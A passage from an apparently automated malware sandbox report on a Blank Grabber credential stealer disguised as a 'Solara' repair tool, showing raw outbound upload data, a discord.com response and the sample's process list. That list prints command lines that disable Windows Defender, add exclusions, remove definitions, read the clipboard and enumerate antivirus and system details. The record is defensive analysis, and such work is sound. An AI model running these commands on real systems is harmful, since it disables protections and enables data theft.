`'\h}]M#N\q/@k0yU6~1j/(7IL8`tg8>q0DtX?g\|Egp>`}&?/M]H.~)tGYa9d~>7&68A#Z.[<!@dwk^\!$v.
2024-11-23 18:44:35 UTC	16384	OUT	Data Raw: 98 59 69 9a d5 2b e6 3c f8 ee bd 41 56 11 92 7d 48 ce 2e 11 36 8e 65 5c c4 dd 86 b2 f0 80 7b 7f 18 18 35 2b 9b d0 77 03 1b 4a 3a 7d db 01 f3 a2 3f be 84 22 7d d8 82 a8 4f fa ae b0 b8 dd c3 5a 55 ab 95 7a 10 fe 74 f3 0c 5b dc 33 a7 6c cb db e3 7b d4 c8 18 49 62 5e ed d7 71 f2 81 65 fe 10 ad 40 fb b7 7f c7 5c b5 b5 5a d4 1d d5 e1 44 eb 06 a5 79 c0 12 95 82 eb bd ff c1 69 af df b8 ea 9d 99 9e 35 cf 73 7b 6a 09 a3 75 8b 40 20 ae 5d bb 7f f3 d5 79 a8 74 24 52 e6 30 eb 65 a0 8b e5 1f 7b a3 55 b3 be 7c d0 c0 9e ce 87 fe e2 e7 24 6c be 0a fc 3e 75 62 24 d7 46 46 49 10 0b 83 32 fa 6d 42 58 40 7d a0 ea 77 49 33 3c 12 ae 1b 67 dd 4f 90 e2 bb 4d e2 58 c2 7d 35 7f 80 43 06 70 9e a6 e4 39 2c 6b 72 ed a6 24 93 68 8c c1 c5 e9 db 17 f7 09 7e ef fb 08 cd 83 95 1f b6 d6 08 Data Ascii: Yi+<AV}H.6e\{5+wJ:}?"}OZUzt[3l{Ib^qe@\ZDyi5s{ju@ ]yt$R0e{U\|$l>ub$FFI2mBX@}wI3<gOMX}5Cp9,kr$h~
2024-11-23 18:44:35 UTC	16384	OUT	Data Raw: 83 37 fa 02 90 6e c8 4e 43 1b 00 54 01 93 cd 6b 36 d0 05 1c d9 6e 80 2b 25 57 33 aa 39 b7 f6 fa 38 d1 c9 fb 87 8c d1 4b 7f ce c8 03 91 f3 ab 5b a9 c6 8a 50 80 90 fa 0e b0 50 88 e4 49 23 d5 f3 a3 44 73 b6 f7 65 b6 82 39 8d 08 75 a1 07 f0 9f 0f 90 63 28 4e 72 e1 52 f0 8c 6c 4b 71 64 34 80 43 d5 bf 78 e0 73 4d fe 31 f1 d3 d0 17 43 b9 57 bc 0b a0 c3 dc 4d 52 4f d8 19 e0 51 33 5e a5 3d 1a 29 79 e8 b2 de e0 d0 cf 22 78 53 71 20 9e f7 c4 5b ae 7b 7b f1 71 d9 a9 45 69 81 92 ec d6 06 1f 3f 88 26 a7 7b 54 b5 57 a0 fa 88 ea 08 5f 4d 66 b4 92 25 8b f4 5c 0b ae 65 55 e2 c6 84 8a 97 9f 88 89 bd f3 8b d4 02 00 8b 6d 63 9b 62 14 eb 20 f8 18 3b 7b b1 32 60 1a 56 6c f3 e4 df d8 7b 37 4c d0 16 24 c9 1e 56 af 29 92 f0 18 59 dd 06 06 6d 61 55 94 5a f7 cf cf 17 24 40 e8 83 21 Data Ascii: 7nNCTk6n+%W398K[PPI#Dse9uc(NrRlKqd4CxsM1CWMROQ3^=)y"xSq [{{qEi?&{TW_Mf%\eUmcb ;{2`Vl{7L$V)YmaUZ$@!
2024-11-23 18:44:35 UTC	16384	OUT	Data Raw: 29 0f fa a3 8f 43 ee 8e ae 10 6c 10 f6 95 f2 51 a6 29 a2 41 af 25 e2 23 f4 16 7d af 37 aa 31 d5 73 50 b0 1d 79 03 df 11 da f4 b0 f4 c7 bd 71 e0 bf 7e c6 5e eb 38 30 d2 08 9e 48 db 4b 2e 08 e7 7e 82 16 7b 6e ee 23 29 ab 74 d9 9b 8d 5d 28 c6 5e e1 4a 24 77 e0 22 d6 0d 16 6b 24 9f d6 ac 4d d7 bf 08 6b ab 83 2f 81 c9 f6 f6 21 49 df 5e 19 4e d9 99 03 65 52 8d 94 5c fc ba 20 7a 1d 4f aa 1f 4e 9e a6 4e 49 19 e3 de 01 c8 e9 6e fb 1e ea 90 d8 df 91 0e 7b fb 96 63 c4 5a 2b 25 3b 7f 23 81 c8 51 fc 4f ea f2 56 10 28 0e b6 39 02 7b c9 50 6d 91 6f 65 e6 66 48 c9 97 38 14 0b 1e dc b9 a0 d8 9b 08 43 48 c7 02 f6 44 f3 27 f9 89 17 ae 27 2e c5 cd 0b ea 32 9c 10 f1 cb 84 2e bd 03 53 49 89 57 69 bd 8e d8 51 65 ae 33 5e 5c 35 3c 11 2e 7a cc a4 29 30 05 d0 15 f0 65 f4 00 75 ae Data Ascii: )ClQ)A%#}71sPyq~^80HK.~{n#)t](^J$w"k$Mk/!I^NeR\ zONNIn{cZ+%;#QOV(9{PmoefH8CHD''.2.SIWiQe3^\5<.z)0eu
2024-11-23 18:44:35 UTC	16384	OUT	Data Raw: 03 35 35 1d ef 0f e7 00 04 75 48 29 66 22 63 c2 e0 65 03 13 4d 78 8e 3b 79 92 3b c3 0b 24 5d 16 6d e6 0b fd 46 fd 1b 99 3e 27 51 76 d8 61 0c 05 90 65 94 2a 81 55 03 f7 64 ce 51 90 d0 fc 72 e3 b0 cf 53 d7 08 63 d6 50 84 2e f1 c1 bd 1d f8 f9 9b 02 aa 47 7d 4a bb 9c 17 d3 07 bb 72 1d 6c d2 30 45 cc bc c0 2b 9d c9 b8 7f 3d 21 08 e0 20 58 45 f3 ef a3 48 c1 ac 47 18 37 77 f9 c1 87 16 f2 a4 5b fa bc 1a 8c e8 dc 78 68 35 c1 49 a4 19 da 49 1c 36 40 a9 b5 1e ab 01 d9 2b fc 8a 54 da 7e 97 e9 5f 70 dd 02 c2 15 3e 60 15 5a 18 51 db e0 0b 9c 80 c6 df 8d 52 2b 0b 3e 36 a5 a4 94 c0 ea e4 98 30 3c c2 bf 30 a6 7e 88 ba 87 bc 83 02 ab 98 e5 85 43 c1 d2 35 69 5a 2b 9d 1e 73 95 22 09 9e 10 2b a8 8d d5 42 31 db 16 51 97 7b 99 10 f3 4c 0f 01 0a 69 1b e6 55 31 06 b6 79 66 fd bb Data Ascii: 55uH)f"ceMx;y;$]mF>'Qvae*UdQrScP.G}Jrl0E+=! XEHG7w[xh5II6@+T~_p>`ZQR+>60<0~C5iZ+s"+B1Q{LiU1yf
2024-11-23 18:44:35 UTC	16384	OUT	Data Raw: 23 69 be 92 18 e9 79 37 3a 02 64 99 e4 3c 94 6e c9 7a ce 70 45 ba 54 11 5f 31 70 5b b5 69 99 9e c5 0c c2 d2 aa 80 62 00 35 04 48 f8 35 ff 6a 5b 85 7f 63 6c 38 78 c8 96 70 b6 da 37 e5 5f d2 36 e2 49 2b c0 6c 4d 67 15 db af 91 1c 54 94 66 9f d3 a5 46 c4 57 d9 99 b3 7a 29 89 38 31 f4 01 2d f8 63 93 a6 df fd 0b f4 ff fa 64 f0 8e 36 c2 14 f6 d2 b6 31 66 5b 0d 16 74 3d 4c a6 d4 bf 10 63 ad b8 12 a7 52 e0 cb e4 14 7a 81 32 6d 7a d2 3b 70 57 e0 1e e7 f6 03 06 ee 57 8d 01 29 1d 93 2a 8d a2 07 51 5c ab 7e 4f 80 1d 45 ec 32 cc 83 e2 a1 16 47 45 f5 bc 4a 37 a8 00 3f a5 40 96 b8 22 98 3c b6 b5 f0 53 4a 3a 3d e9 0d 3b 89 60 9a bb 8a a4 45 39 cc d1 78 97 bd b9 d9 4d 1d d3 f4 c2 d8 cc 96 d9 34 52 f8 a0 2b b8 d0 13 c7 32 2f 26 81 c8 f4 c4 48 b8 a9 6c e5 5d 6e 28 ab e0 68 Data Ascii: #iy7:d<nzpET_1p[ib5H5j[cl8xp7_6I+lMgTfFWz)81-cd61f[t=LcRz2mz;pWW)*Q\~OE2GEJ7?@"<SJ:=;`E9xM4R+2/&Hl]n(h
2024-11-23 18:44:40 UTC	1251	IN	HTTP/1.1 404 Not Found Date: Sat, 23 Nov 2024 18:44:40 GMT Content-Type: application/json Content-Length: 45 Connection: close Cache-Control: public, max-age=3600, s-maxage=3600 strict-transport-security: max-age=31536000; includeSubDomains; preload x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f x-ratelimit-limit: 5 x-ratelimit-remaining: 4 x-ratelimit-reset: 1732387481 x-ratelimit-reset-after: 1 via: 1.1 google alt-svc: h3=":443"; ma=86400 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8dnofcTgJO77a0qvnY06ZSBgJThFUi8RPU8CzONyuww46HrhNSYoQIulPhbjpsHEv8wynrDDGIVboMnd6LkVRJj0bS6cflMBGGEW9Mg25a0WM87vZtObL%2FuVdqpj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Content-Type-Options: nosniff Set-Cookie: __cfruid=bfbee4d8f0c66307eb752299893c7bde277a9e1d-1732387480; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Content-Security-Policy: frame-ancestors 'none'; default-src 'none' Set-Cookie: _cfuvid=r8z8dclj1LJ.4o5SqnVjdAiCBtWH7bkTOCEb1MOHljw-1732387480233-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8e734fba9c4d8c7e-EWR

Target ID:	0
Start time:	13:44:00
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\cmd.exe"
Imagebase:	0x7ff70aef0000
File size:	6'263'156 bytes
MD5 hash:	B2FE874C2E11C56EDF05C5250A8C966F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000000.00000003.1701296843.00000162C4354000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000000.00000003.1701296843.00000162C4352000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	13:44:01
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\cmd.exe"
Imagebase:	0x7ff70aef0000
File size:	6'263'156 bytes
MD5 hash:	B2FE874C2E11C56EDF05C5250A8C966F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000002.2096102942.000001C916489000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000002.2098275549.000001C916C2C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BlankGrabber, Description: Yara detected Blank Grabber, Source: 00000001.00000003.2090937481.000001C917404000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Analysis Process: cmd.exePID: 7332, Parent PID: 7280

General

Target ID:	2
Start time:	13:44:03
Start date:	23/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\cmd.exe'"
Imagebase:	0x7ff613350000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:44:03
Start date:	23/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
Imagebase:	0x7ff613350000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:44:03
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:44:03
Start date:	23/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Solara has been repaired.', 0, 'Solara \| Repaired', 48+16);close()""
Imagebase:	0x7ff613350000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:44:03
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:44:03
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:44:03
Start date:	23/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\? ?.scr'"
Imagebase:	0x310000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:44:03
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:44:03
Start date:	23/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	13:44:03
Start date:	23/11/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Solara has been repaired.', 0, 'Solara \| Repaired', 48+16);close()"
Imagebase:	0x7ff727d80000
File size:	14'848 bytes
MD5 hash:	0B4340ED812DC82CE636C00FA5C9BEF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	13:44:03
Start date:	23/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\? ?.scr'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	13:44:03
Start date:	23/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\cmd.exe'
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	13:44:06
Start date:	23/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff613350000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	13:44:06
Start date:	23/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff613350000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7920, Parent PID: 7864

General

Target ID:	16
Start time:	13:44:06
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	13:44:06
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	13:44:06
Start date:	23/11/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff73cba0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	13:44:07
Start date:	23/11/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff73cba0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	13:44:07
Start date:	23/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
Imagebase:	0x7ff613350000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	13:44:07
Start date:	23/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
Imagebase:	0x7ff613350000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	13:44:07
Start date:	23/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff613350000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 8108, Parent PID: 7280

General

Target ID:	23
Start time:	13:44:07
Start date:	23/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff613350000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	13:44:07
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	13:44:07
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	13:44:07
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	13:44:07
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	13:44:07
Start date:	23/11/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	13:44:08
Start date:	23/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "systeminfo"
Imagebase:	0x7ff613350000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	13:44:08
Start date:	23/11/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff73cba0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	13:44:08
Start date:	23/11/2024
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Imagebase:	0x7ff65aee0000
File size:	576'000 bytes
MD5 hash:	C37F2F4F4B3CD128BDABCAEB2266A785
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	13:44:08
Start date:	23/11/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff6934b0000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	13:44:08
Start date:	23/11/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-Clipboard
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	13:44:08
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	13:44:08
Start date:	23/11/2024
Path:	C:\Windows\System32\systeminfo.exe
Wow64 process (32bit):	false
Commandline:	systeminfo
Imagebase:	0x7ff6bf120000
File size:	110'080 bytes
MD5 hash:	EE309A9C61511E907D87B10EF226FDCD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	13:44:10
Start date:	23/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff613350000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 4592, Parent PID: 7280

General

Target ID:	38
Start time:	13:44:10
Start date:	23/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
